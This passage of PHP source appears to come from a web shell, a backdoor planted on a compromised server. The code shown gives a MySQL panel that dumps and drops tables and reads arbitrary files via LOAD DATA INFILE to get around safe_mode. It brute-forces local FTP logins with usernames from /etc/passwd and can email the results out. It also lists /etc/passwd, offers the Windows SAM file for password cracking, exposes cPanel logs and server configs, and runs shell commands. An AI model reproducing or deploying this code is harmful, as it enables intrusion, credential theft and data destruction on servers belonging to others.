1113      echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
1114      echo "</form>";
1115     }
1116     else
1117     {
1118      $diplay = TRUE;
1119      $set = array();
1120      $set["sock"] = $sql_sock;
1121      $set["db"] = $sql_db;
1122      $dump_out = "download";
1123      $set["print"] = 0;
1124      $set["nl2br"] = 0;
1125      $set[""] = 0;
1126      $set["file"] = $dump_file;
1127      $set["add_drop"] = TRUE;
1128      $set["onlytabs"] = array();
1129      if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
1130      $ret = mysql_dump($set);
1131      if ($sql_dump_download)
1132      {
1133       @ob_clean();
1134       header("Content-type: application/octet-stream");
1135       header("Content-length: ".strlen($ret));
1136       header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
1137       echo $ret;
1138       exit;
1139      }
1140      elseif ($sql_dump_savetofile)
1141      {
1142       $fp = fopen($sql_dump_file,"w");
1143       if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
1144       else
1145       {
1146        fwrite($fp,$ret);
1147        fclose($fp);
1148        echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
1149       }
1150      }
1151      else {echo "<b>Dump: nothing to do!</b>";}
1152     }
1153    }
1154    if ($diplay)
1155    {
1156     if (!empty($sql_tbl))
1157     {
1158      if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
1159      $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
1160      $count_row = mysql_fetch_array($count);
1161      mysql_free_result($count);
1162      $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
1163      $tbl_struct_fields = array();
1164      while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
1165      if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
1166      if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
1167      if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
1168      if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
1169      $perpage = $sql_tbl_le - $sql_tbl_ls;
1170      if (!is_numeric($perpage)) {$perpage = 10;}
1171      $numpages = $count_row[0]/$perpage;
1172      $e = explode(" ",$sql_order);
1173      if (count($e) == 2)
1174      {
1175       if ($e[0] == "d") {$asc_desc = "DESC";}
1176       else {$asc_desc = "ASC";}
1177       $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
1178      }
1179      else {$v = "";}
1180      $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
1181      $result = mysql_query($query) or print(mysql_smarterror());
1182      echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
1183      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
1184      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
1185      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
1186      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
1187      if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
1188      if ($sql_tbl_act == "insert")
1189      {
1190       if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
1191       if (!empty($sql_tbl_insert_radio))
1192       {
1193 
1194       }
1195       else
1196       {
1197        echo "<br><br><b>Inserting row into table:</b><br>";
1198        if (!empty($sql_tbl_insert_q))
1199        {
1200         $sql_query = "SELECT * FROM `".$sql_tbl."`";
1201         $sql_query .= " WHERE".$sql_tbl_insert_q;
1202         $sql_query .= " LIMIT 1;";
1203         $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
1204         $values = mysql_fetch_assoc($result);
1205         mysql_free_result($result);
1206        }
1207        else {$values = array();}
1208        echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
1209        foreach ($tbl_struct_fields as $field)
1210        {
1211         $name = $field["Field"];
1212         if (empty($sql_tbl_insert_q)) {$v = "";}
1213         echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
1214         $i++;
1215        }
1216        echo "</table><br>";
1217        echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
1218        if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
1219        echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
1220       }
1221      }
1222      if ($sql_tbl_act == "browse")
1223      {
1224       $sql_tbl_ls = abs($sql_tbl_ls);
1225       $sql_tbl_le = abs($sql_tbl_le);
1226       echo "<hr size=\"1\" noshade>";
1227       echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;";
1228       $b = 0;
1229       for($i=0;$i<$numpages;$i++)
1230       {
1231        if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
1232        echo $i;
1233        if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
1234        if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
1235        else {echo "&nbsp;";}
1236       }
1237       if ($i == 0) {echo "empty";}
1238       echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
1239       echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1>";
1240       echo "<tr>";
1241       echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
1242       for ($i=0;$i<mysql_num_fields($result);$i++)
1243       {
1244        $v = mysql_field_name($result,$i);
1245        if ($e[0] == "a") {$s = "d"; $m = "asc";}
1246        else {$s = "a"; $m = "desc";}
1247        echo "<td>";
1248        if (empty($e[0])) {$e[0] = "a";}
1249        if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
1250        else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
1251        echo "</td>";
1252       }
1253       echo "<td><font color=\"green\"><b>Action</b></font></td>";
1254       echo "</tr>";
1255       while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
1256       {
1257        echo "<tr>";
1258        $w = "";
1259        $i = 0;
1260        foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
1261        if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
1262        echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
1263        $i = 0;
1264        foreach ($row as $k=>$v)
1265        {
1266         $v = htmlspecialchars($v);
1267         if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
1268         echo "<td>".$v."</td>";
1269         $i++;
1270        }
1271        echo "<td>";
1272        echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;";
1273        echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;";
1274        echo "</td>";
1275        echo "</tr>";
1276       }
1277       mysql_free_result($result);
1278       echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
1279       echo "<option value=\"\">With selected:</option>";
1280       echo "<option value=\"deleterow\">Delete</option>";
1281       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
1282      }
1283     }
1284     else
1285     {
1286      $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
1287      if (!$result) {echo mysql_smarterror();}
1288      else
1289      {
1290       echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
1291       $i = 0;
1292       $tsize = $trows = 0;
1293       while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
1294       {
1295        $tsize += $row["Data_length"];
1296        $trows += $row["Rows"];
1297        $size = view_size($row["Data_length"]);
1298        echo "<tr>";
1299        echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
1300        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
1301        echo "<td>".$row["Rows"]."</td>";
1302        echo "<td>".$row["Type"]."</td>";
1303        echo "<td>".$row["Create_time"]."</td>";
1304        echo "<td>".$row["Update_time"]."</td>";
1305        echo "<td>".$size."</td>";
1306        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>";
1307        echo "</tr>";
1308        $i++;
1309       }
1310       echo "<tr bgcolor=\"000000\">";
1311       echo "<td><center><b></b></center></td>";
1312       echo "<td><center><b>".$i." table(s)</b></center></td>";
1313       echo "<td><b>".$trows."</b></td>";
1314       echo "<td>".$row[1]."</td>";
1315       echo "<td>".$row[10]."</td>";
1316       echo "<td>".$row[11]."</td>";
1317       echo "<td><b>".view_size($tsize)."</b></td>";
1318       echo "<td></td>";
1319       echo "</tr>";
1320       echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
1321       echo "<option value=\"\">With selected:</option>";
1322       echo "<option value=\"tbldrop\">Drop</option>";
1323       echo "<option value=\"tblempty\">Empty</option>";
1324       echo "<option value=\"tbldump\">Dump</option>";
1325       echo "<option value=\"tblcheck\">Check table</option>";
1326       echo "<option value=\"tbloptimize\">Optimize table</option>";
1327       echo "<option value=\"tblrepair\">Repair table</option>";
1328       echo "<option value=\"tblanalyze\">Analyze table</option>";
1329       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
1330       mysql_free_result($result);
1331      }
1332     }
1333    }
1334    }
1335   }
1336   else
1337   {
1338    $acts = array("","newdb","serverstatus","servervars","processes","getfile");
1339    if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
1340    if (!empty($sql_act))
1341    {
1342     echo "<hr size=\"1\" noshade>";
1343     if ($sql_act == "newdb")
1344     {
1345      echo "<b>";
1346      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
1347      else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
1348     }
1349     if ($sql_act == "serverstatus")
1350     {
1351      $result = mysql_query("SHOW STATUS", $sql_sock);
1352      echo "<center><b>Server-status variables:</b><br><br>";
1353      echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#000000 borderColorLight=#000000 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
1354      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
1355      echo "</table></center>";
1356      mysql_free_result($result);
1357     }
1358     if ($sql_act == "servervars")
1359     {
1360      $result = mysql_query("SHOW VARIABLES", $sql_sock);
1361      echo "<center><b>Server variables:</b><br><br>";
1362      echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#000000 borderColorLight=#000000 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
1363      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
1364      echo "</table>";
1365      mysql_free_result($result);
1366     }
1367     if ($sql_act == "processes")
1368     {
1369      if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";}
1370      $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
1371      echo "<center><b>Processes:</b><br><br>";
1372      echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#000000 borderColorLight=#000000 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
1373      while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
1374      echo "</table>";
1375      mysql_free_result($result);
1376     }
1377     if ($sql_act == "getfile")
1378     {
1379      $tmpdb = $sql_login."_tmpdb";
1380      $select = mysql_select_db($tmpdb);
1381      if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
1382      if ($select)
1383      {
1384       $created = FALSE;
1385       mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
1386       mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
1387       $result = mysql_query("SELECT * FROM tmp_file;");
1388       if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
1389       else
1390       {
1391        for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
1392        $f = "";
1393        while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("
1394 ",$row);}
1395        if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
1396        else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
1397        mysql_free_result($result);
1398        mysql_query("DROP TABLE tmp_file;");
1399       }
1400      }
1401      mysql_drop_db($tmpdb); //comment it if you want to leave database
1402     }
1403    }
1404   }
1405  }
1406  echo "</td></tr></table>";
1407  if ($sql_sock)
1408  {
1409   $affected = @mysql_affected_rows($sql_sock);
1410   if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
1411   echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>";
1412  }
1413  echo "</table>";
1414 }
1415 if ($act == "mkdir")
1416 {
1417  if ($mkdir != $d)
1418  {
1419   if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";}
1420   elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";}
1421   echo "<br><br>";
1422  }
1423  $act = $dspact = "ls";
1424 }
1425 if ($act == "ftpquickbrute")
1426 {
1427  echo "<b>Ftp Quick brute:</b><br>";
1428  if (!win) {echo "This functions not work in Windows!<br><br>";}
1429  else
1430  {
1431   function k1r4ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
1432   {
1433    if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
1434    else {$TRUE = TRUE;}
1435    if ($TRUE)
1436    {
1437     $sock = @ftp_connect($host,$port,$timeout);
1438     if (@ftp_login($sock,$login,$pass))
1439     {
1440      echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
1441      ob_flush();
1442      return TRUE;
1443     }
1444    }
1445   }
1446   if (!empty($submit))
1447   {
1448    if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
1449    $fp = fopen("/etc/passwd","r");
1450    if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
1451    else
1452    {
1453     if ($fqb_logging)
1454     {
1455      if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
1456      else {$fqb_logfp = FALSE;}
1457      $fqb_log = "FTP Quick Brute (called  ".$shver.") started at ".date("d.m.Y H:i:s")."
1458 
1459 ";
1460      if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
1461     }
1462     ob_flush();
1463     $i = $success = 0;
1464     $ftpquick_st = getmicrotime();
1465     while(!feof($fp))
1466     {
1467      $str = explode(":",fgets($fp,2048));
1468      if (k1r4ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
1469      {
1470       echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
1471       $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."
1472 ";
1473       if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
1474       $success++;
1475       ob_flush();
1476      }
1477      if ($i > $fqb_lenght) {break;}
1478      $i++;
1479     }
1480     if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!
1481 ";}
1482     $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
1483     echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
1484     $fqb_log .= "
1485 ------------------------------------------
1486 Done!
1487 Total time (secs.): ".$ftpquick_t."
1488 Total connections: ".$i."
1489 Success.: ".$success."
1490 Unsuccess.:".($i-$success)."
1491 Connects per second: ".round($i/$ftpquick_t,2)."
1492 ";
1493     if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
1494     if ($fqb_logemail) {@mail($fqb_logemail," ".$shver." report",$fqb_log);}
1495     fclose($fqb_logfp);
1496    }
1497   }
1498   else
1499   {
1500    $logfile = $tmpdir_logs."k1r4_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
1501    $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
1502    echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>";
1503   }
1504  }
1505 }
1506 if ($act == "d")
1507 {
1508  if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";}
1509  else
1510  {
1511   echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
1512   if (!$win)
1513   {
1514    echo "<tr><td><b>Owner/Group</b></td><td> ";
1515    $ow = posix_getpwuid(fileowner($d));
1516    $gr = posix_getgrgid(filegroup($d));
1517    $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
1518   }
1519   echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>";
1520  }
1521 }
1522 if ($act == "phpinfo") {@ob_clean(); phpinfo(); k1r4exit();}
1523 if ($act == "security")
1524 {
1525  echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>";
1526  if (!$win)
1527  {
1528   if ($nixpasswd)
1529   {
1530    if ($nixpasswd == 1) {$nixpasswd = 0;}
1531    echo "<b>*nix /etc/passwd:</b><br>";
1532    if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
1533    if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
1534    echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>";
1535    $i = $nixpwd_s;
1536    while ($i < $nixpwd_e)
1537    {
1538     $uid = posix_getpwuid($i);
1539     if ($uid)
1540     {
1541      $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
1542      echo join(":",$uid)."<br>";
1543     }
1544     $i++;
1545    }
1546   }
1547   else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";}
1548  }
1549  else
1550  {
1551   $v = $_SERVER["WINDIR"]."
1552 epair\sam";
1553   if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";}
1554   else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."
1555 epair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ .</font></b><br>";}
1556  }
1557  if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";}
1558  if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";}
1559  if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
1560  if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
1561  if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";}
1562  if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";}
1563  if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";}
1564  function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}}
1565  displaysecinfo("OS Version?",myshellexec("cat /proc/version"));
1566  displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version"));
